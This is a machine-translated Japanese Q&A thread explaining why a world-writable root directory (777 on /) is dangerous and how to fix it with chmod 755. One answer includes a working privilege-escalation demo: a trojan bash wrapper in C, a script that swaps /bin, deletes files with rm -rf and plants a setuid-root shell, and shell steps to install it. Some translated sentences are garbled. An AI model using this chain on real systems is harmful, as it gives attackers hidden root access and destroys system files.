web-dev-qa-db-ja.com

ルート/に777権限が必要ですか?

ただし、ほとんどのコンテンツは755です。

これは問題ですか?

3
K. Eoe

/が実際に777パーミッションの設定を許可しているのは興味深いことです。 /フォルダーには777権限を与えないでください。これは、システムにログインするすべてのユーザーが/ルートレベルでファイルとフォルダーを作成できることを意味します。 VMでこれをテストしました。_ _できません777ではないフォルダーまたはファイルをSudorootまたはowner/rootフォルダー自体にアクセスしようとすると、許可が拒否されるなど、アクセス許可が引き続き適用されます。ただし、そうは言っても、/rootフォルダーを/root.oldに移動すると、大混乱を招く可能性があります。

これを修正するには、Sudo chmod 755 /を実行して、アクセス許可を本来あるべきものに変更します。 Sudo chown root:root /を実行して、ルート自体が所有していることを確認することもできます。 許可と所有権に一致するようにパーティション内のすべてのファイルとフォルダーが変更されるため、-Rを使用してこれらのコマンドを実行しないでください。

お役に立てれば!

12
Terrance

いいえ。/(ルートディレクトリ)が777権限を持つことは安全ではありません。つまり、rwxrwxrwx、つまり、すべてのユーザーがルートディレクトリへの書き込み権限を持っていることを意味します。

その許可により、すべてのユーザーは新しいサブディレクトリを作成し、既存のサブディレクトリを削除し、既存のサブディレクトリを置き換えることができます。たとえば、悪意のあるユーザーは、/binを(/bin.oldに名前を変更して)削除し、悪意のある実行可能ファイルを含む、ユーザーが所有する新しい/binを作成できます。または、ユーザーは/etcを(/etc.oldに名前を変更して)削除し、ユーザーがログインできる/etcおよび/etc/passwdファイルを含む新しい/etc/shadowを作成できます。システム上のすべてのアカウントに。

8
D.W.

/は誰でも書き込み可能にしないでください

/が誰でも書き込み可能になると、hugeの問題になる可能性があります。 /に対する書き込み権限があると、どのユーザーも/内のファイルまたはディレクトリを移動/名前変更できます。これは、すべてのユーザーが/etc/usr、または/内の他のディレクトリを任意のディレクトリに置き換えることができることを意味します。

サービス妨害:些細なこと

/etcおよび/usrの名前を変更することで、どのユーザーでもシステムを簡単にDoSできます。

特権エスカレーション:わずかにささいなこと

特権エスカレーションを実行するのは少し難しいです。ユーザーは/binを自分のコピーに置き換えることができ、cpを使用しようとするプロセス、またはシェルを開始しようとするプロセスは、すぐに容赦されます。ユーザーが行う必要があるのは、rootとして実行されているプロセスが/binのコマンドを使用するか、rootユーザーがログインを使用するのを待つことだけです。

bash.c

#include<sys/types.h>
#include<unistd.h>

int main(int argc, char*argv[], char *env[])
{
    if (getuid() == 0) {
        system("/home/muru/foo");
    }
    execve("/bin/bash", argv, env); 
}

foo

#!/bin/sh

mv /bin /..bin
mv /.bin /bin
rm -rf /..bin
cp /bin/bash /home/muru
chown root:root /home/muru/bash
chmod u+s /home/muru/bash

その後:

$ gcc -o bash bash.c
$ mkdir /..bin
$ cd /bin; for i in /bin/*; do ln -s /..bin/"$i" /.bin/"$i"; done
$ mv /bin /.bin
$ mv /..bin /bin
$ cp bash /bin

そして、次にrootがシェルを起動すると、ホームディレクトリにsetuid実行可能ファイルを取得します。これを使用すると、トレースを残さずに、いつでも好きなときにrootを取得できます。

8
muru